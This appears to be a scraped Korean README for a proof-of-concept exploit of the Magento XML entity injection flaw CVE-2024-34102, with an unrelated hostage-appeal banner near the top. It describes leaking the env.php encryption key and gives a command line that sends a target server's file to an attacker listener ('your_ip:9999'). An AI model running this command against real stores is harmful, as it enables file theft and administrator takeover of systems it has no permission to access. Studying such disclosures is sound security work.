mksundaram69/cve-2024-34102CVE-2024-34102에 대한 개념 증명 익스플로잇으로, Magento의 치명적인 XML 엔티티 주입 취약점을 통해 민감한 파일의 유출과 무단 관리자 접근을 가능하게 합니다. 교육용으로만 사용하십시오.
우리는 테러 조직 하마스에 의해 인질로 잡힌 모든 시민의 안전한 귀환을 요구합니다. 모든 인질이 석방되어 안전하게 집으로 돌아올 때까지 우리는 쉬지 않을 것입니다. 여러분도 그들을 집으로 데려오는 데 도움을 줄 수 있습니다. https://stories.bringthemhomenow.net/
이 저장소는 Magento의 치명적인 XML 엔티티 주입 취약점(CVE-2024-34102)에 대한 개념 증명(PoC) 익스플로잇을 포함하고 있습니다. 이 취약점은 민감한 파일의 유출을 가능하게 하며, 이를 통해 Magento의 관리 기능에 대한 무단 접근 권한을 얻는 데 악용될 수 있습니다. 이 익스플로잇은 교육 목적으로 설계되었으며 책임감 있게 사용해야 합니다.
Magento는 전 세계적으로 가장 널리 사용되는 전자상거래 솔루션 중 하나입니다. 2024년 6월, CVE-2024-34102로 식별된 치명적인 사전 인증 XML 엔티티 주입 문제가 발견되었습니다. 이 취약점은 Magento에서 JWT 서명에 사용되는 암호화 키를 포함하는 app/etc/env.php 파일의 유출을 포함한 심각한 결과를 초래할 수 있습니다.
requests 라이브러리 (pip install requests)저장소를 클론합니다:
git clone https://github.com/yourusername/CVE-2024-34102-exploit.git
cd CVE-2024-34102-exploit
필요한 인자와 함께 스크립트를 실행합니다:
python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999
--target-url: 대상 Magento 인스턴스의 URL.--target-file: 유출할 대상 서버의 파일 경로.--exfil-url: 유출된 데이터를 수신할 URL.python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999